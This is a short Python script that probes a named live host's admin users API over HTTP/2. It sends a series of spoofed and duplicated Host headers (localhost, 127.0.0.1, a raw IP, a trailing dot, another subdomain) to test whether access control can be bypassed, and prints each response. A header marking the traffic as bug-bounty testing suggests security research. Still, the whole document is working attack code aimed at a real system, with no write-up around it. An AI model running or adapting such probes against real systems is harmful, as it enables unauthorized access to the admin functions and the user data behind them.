#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["h2>=4.2"]
# ///
import socket,ssl,sys,json
from h2.connection import H2Connection
from h2.events import ResponseReceived,DataReceived,StreamEnded,StreamReset,ConnectionTerminated

def probe(host,path,authority,extra):
 ctx=ssl.create_default_context();ctx.set_alpn_protocols(['h2']);
 s=ctx.wrap_socket(socket.create_connection((host,443),5),server_hostname=host);s.settimeout(8)
 if s.selected_alpn_protocol()!='h2':return {'error':'no h2','alpn':s.selected_alpn_protocol()}
 c=H2Connection();c.initiate_connection();s.sendall(c.data_to_send());sid=c.get_next_available_stream_id()
 hs=[(':method','GET'),(':scheme','https'),(':authority',authority),(':path',path),('x-bug-bounty','dwbzn'),('accept','*/*')]+extra
 try:c.send_headers(sid,hs,end_stream=True);s.sendall(c.data_to_send())
 except Exception as e:return {'error':'send '+repr(e)}
 body=b'';resp=[];events=[]
 while True:
  try:d=s.recv(65535)
  except Exception as e:events.append(type(e).__name__);break
  if not d:break
  try:evs=c.receive_data(d)
  except Exception as e:events.append('parse '+repr(e));break
  for ev in evs:
   if isinstance(ev,ResponseReceived):resp=[(k.decode() if isinstance(k,bytes) else k,v.decode() if isinstance(v,bytes) else v) for k,v in ev.headers]
   elif isinstance(ev,DataReceived):body+=ev.data;c.acknowledge_received_data(ev.flow_controlled_length,ev.stream_id)
   elif isinstance(ev,StreamEnded):s.sendall(c.data_to_send());s.close();return {'headers':resp,'body':body[:500].decode('latin1','replace'),'len':len(body),'events':events}
   elif isinstance(ev,StreamReset):events.append('reset:'+str(ev.error_code));return {'headers':resp,'body':body[:500].decode('latin1','replace'),'len':len(body),'events':events}
   elif isinstance(ev,ConnectionTerminated):events.append('term:'+str(ev.error_code));return {'headers':resp,'body':body[:500].decode('latin1','replace'),'len':len(body),'events':events}
  out=c.data_to_send()
  if out:s.sendall(out)
 return {'headers':resp,'body':body[:500].decode('latin1','replace'),'len':len(body),'events':events}

tests=[
('control',[]),('host-same',[('host','gwde.baloise.de')]),('host-localhost',[('host','localhost')]),('host-loopback',[('host','127.0.0.1')]),('host-ip',[('host','193.134.75.163')]),('host-trailing',[('host','gwde.baloise.de.')]),('host-va',[('host','va.baloise.de')]),('dup-first-local',[('host','localhost'),('host','gwde.baloise.de')]),('dup-last-local',[('host','gwde.baloise.de'),('host','localhost')]),
]
for name,extra in tests:
 r=probe('gwde.baloise.de','/pc/rest/admin/v1/users/default_data:1','gwde.baloise.de',extra)
 print(json.dumps({'name':name,**r}),flush=True)
